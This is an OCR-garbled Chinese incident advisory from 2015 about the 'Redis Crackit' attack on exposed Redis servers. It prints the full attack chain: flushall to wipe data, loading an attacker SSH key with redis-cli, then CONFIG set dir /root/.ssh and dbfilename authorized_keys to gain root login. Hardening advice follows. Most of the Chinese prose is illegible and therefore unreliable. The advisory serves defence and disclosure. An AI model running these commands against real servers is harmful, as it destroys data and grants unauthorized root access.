Redis CrackiITAREHS

RATAA: v1.1

EEHEHE: 2015%11811H

ItRBEECHRBRAF

Beijing Baimaohui Technologies Co., Ltd.



ﬁ Redis Crackit N2 F 20 #7 v1.1

NFF
H3*x

1 B e, 3
2 A R B e, 3
B I et 4
A B R I B oo, 4
B BT T e 6
B AN T U et 7
7 LT FAQ oo 8
B AN It e 9
O B e 10
10 T R T oo e, 10
BT 5 5
® 11RA: EEBEEEIN, WIMFAQETT, T H4&MEdHE

2015-11-11 BMH Confidential Page2, Total10



ﬁ Redis Crackit NZZ4F0Hr v1 .1

P
%

1 &

20155 M 10H 12 i 24, BATRBL 1 A4 BIAR F redis B i sk, 410
BRI EAT T AN R SR X ORI Bk S B Linux R 25 28,
redisfii 55 25 { Hroott IR 5 3, IF HIRAECEINIE, #irlREReas T Eredistitdls 22k, M55
A AN S FH T sshit FE & 5k .

2o ANEIC 2 A BN EE— 2 e i, BRI S C 22 2 22 > 100005 £ FE redis Rk 55
W RIINIR , BAT AL G BT st — B EhE

2 ANREH

20154E 11 H10H 128 4, BATE AW E M £ 6 2 S REF R S A bE e fim R T 7

WEE, 12 GredisiE g R ANE A . WL M kI
® AT T flushallis 7= Hdis (1 £ F

® frredisHiE i T —AN4 Nerackitfkey 1, N2 Assh-rsa AAAAB3Nza<li:

LB WE T B >mo6BLZV4/ crack@redis.io, W1~ E

[eomctest ~]$ redis-cli -h oS cet crackit
"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCCUHEVMRQY/C0/R]
SOSRTZmE'I 65Z7U6W39WAVM7 SCT7 NGV SMS4MRRIDA0OAZ pw7 SPJMBHZ2HWVAPY
GCekcIVk8Xzc3p31v79fwel XXyxts0jFZ8YZhyMzZiugogCKVRIS63DFf1gFomM
/OHUyDHOS 18E6BO1 7ANqupScN8chDGs)(MFr4Ean4DoFeRTKLgSfHL9anma
XXZRECKWHMjFYUZGjgeAiSYdzR49X36jQ6nuFBM18cEZe5zkxbbtubnbAomrs
52tQX4RrogmuwVve /Z0ucoB1bbG+9sKyY9wyp/aHLNR1yC8GBVbrzgQmyn9yul
ZBp3tY8Tt6DWmo6BLZV4/ crack@redis.io\n\n\n\n"

® fE/root/.ssh 432 F¥#i% T —/authorized_keys X1, WAREH T Zredis B
db kil SO, BT B ()G Bl crackithl BN 7%, R AR #H s il E —
sshiftkey K175 3% . WHE W T KE:

[root@test ~/.sshl# 1s
appendonly.aof | authorized keys |id dsa id_dsa.pub known_hosts

[root@test ~/.ssh# i
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ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDUeGtKXsZtYEN8BNZc4VTgmC4CyuCOKHRIbjKMSZUXY
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A
WETER: Llroot)d shfredis, A LA HE % A Fredis console
HASEIRIIERENL & BN
ssh-keygen -t rsa -C "crack@redis.io”
KA DA
root@test///root @ ® ©

File Edit View Search Terminal Help

> ssh-keygen -t rsa -C "crack@redis.io"

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id rsa):
Enter passphrase (empty for no passphrase) :
Enter same passphrase again:

our identification has been saved in /root/.ssh/id_rsa.

our public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
eb:03:c3:6f:3f:06:fc:31:09:ae:76:4a:ed:0b:3d:5¢c crack@redis.io
The key's randomart image is:
+---[RSA 2048]----+

I I

I I
I I
I . I
| ZOSHE? |
| +++0+ |
| I
I I
I I

o=*0 o

> 11 --si

root 4.1k Nov 10 03:07 ./

root 4.1k Nov 10 00:10 ../

root 1.7k Nov 10 03:07 id rsa

root 396 Nov 10 03:07 id rsa.pub
root 5.3k Oct 28 01:35 known_hosts
>

A Ftxt  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
SRJ5: redis-cli -h xxxx flushall &7 redis (FEF 577, 155 LIEMBRA BT AT
AT : cat foo.txt | redis-cli -h xxxx -x set pwn

SR G kredis, HUTW R A4
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AT
CONFIG set dir /root/. ,,M/
config set dbfilename "authorized_ keys"
save

b TH Ay 4 72 1 FH config setrir & X redis I & {0 SCAF B AR EAT 1B 240, AR S AT savedt A7 A %
3 X B2 AE R T authorized_keysSCHF) o IXAE g AT DAAH FH A 1 FASH 25 5 ABEHEN
NFsshiR S & T .

root@test:~ @ ®© ©

File Edit View Search Terminal Help

[root@test ~]# 11 --si .ssh
total 17k
-rw-r--r-- 1 root root 2.7k Nov 10 16: authorized keys
1 root root 736 Nov 10 14: id dsa
root root 609 Nov 10 14: id_dsa.pub
root root 2.4k Oct 29 15: known_hosts
[root@test ~]# ifconfig
ethl Link encap:Ethernet HWaddr :0B:AB:9C:78:37
inet addr:10.10.10.253 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::20b:abff:fe9c:7837/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:30066309 errors:1l dropped:69 overruns:0 frame:l
TX packets:33098469 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:12922705588 (12.0 GiB) TX bytes:9805973431 (9.1 GiB)
Interrupt:17 Memory:f7c00000-f7c20000

Link encap:Ethernet Hwaddr 00:0B:AB:9C:78:3A
inet6 addr: fe80::20b:abff:felc: 783a/64 Scope: Llnk

root@test:~/.ssh @ ® ©

File Edit View Search Terminal Help
root@test ~/.sshl#

root
root

id_dsa
6 id_dsa.pub

2

5 i

1 : authorized keys
1 .

1

1 known_hosts
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® redisfIdirZH# 45 7] 1 /root/.ssh3C Kk
® /root/.sshH 3¢ F 44— authorized_keys X (EiEHBHIAH KD
(EZAINEAEE MG
IGEHE R 28, @il Brename-command CONFIG ", ZEf—%bar 4. (R

DA IREAT 1, AT DM 07 %)

& Hredis.conf 3 {4

w4
rename-command FLUSHALL ""
rename-command FLUSHDB "

rename-command CONFIG "

rename-command EVAL "

PAMIEBLIR J5 Zliredis

DI 2 AR P su xxx, 285 )5 iserver (VI 5 B 2 R SCAFBUR, 75 ZEARRAZ 0 .

“Eredist NG iE

& redis.conf 34

requirepass mypassword
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® ZRIEX A I

& redis.conf 3 {4

bind 127.0.0.1
® M/ .sshH 3 27 C&A71E JEikauthorized_keys S

5 Fredis I AR UELARIK S )5 2RSS A, 320N K Eredis ik 55 75 2 1@ id root 1)
PR K JE shinit.d TR IRSS A . HEEFHES RN T %4, Yhe21d Froot& 43 5 5 .

http://redis.io/topics/security

Code security

In a classical Redis setup, clients are allowed full access to the command set, but accessing the instance should never
result in the ability to control the system where Redis is running.

Internally, Redis uses all the well known practices for writing secure code, to prevent buffer overflows, format bugs
and other memory corruption issues. However, the ability to control the server configuration using the CONFIG
command makes the client able to change the working dir of the program and the name of the dump file. This allows
clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run
untrusted code as the same user as Redis is running.

It is recommended to run it as an unprivileged redis user that is only
used for this purpose. The Redis authors are currently investigating the possibility of adding a new configuration
parameter to prevent CONFIG SET/GET dir and other similar run-time configuration directives. This would prevent
clients from forcing the server to write Redis dump files at arbitrary locations.
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® A few things about Redis security http://antirez.com/news/96

® Trying to hack Redis via HTTP requests

http://www.agarri.fr’/kom/archives/2014/09/11/trying to hack redis via http reques

ts/index.html

® Redis Security http://redis.io/topics/security

® http://www.lua-users.org/wiki/SandBoxes

® http://v2ex.com/t/234520
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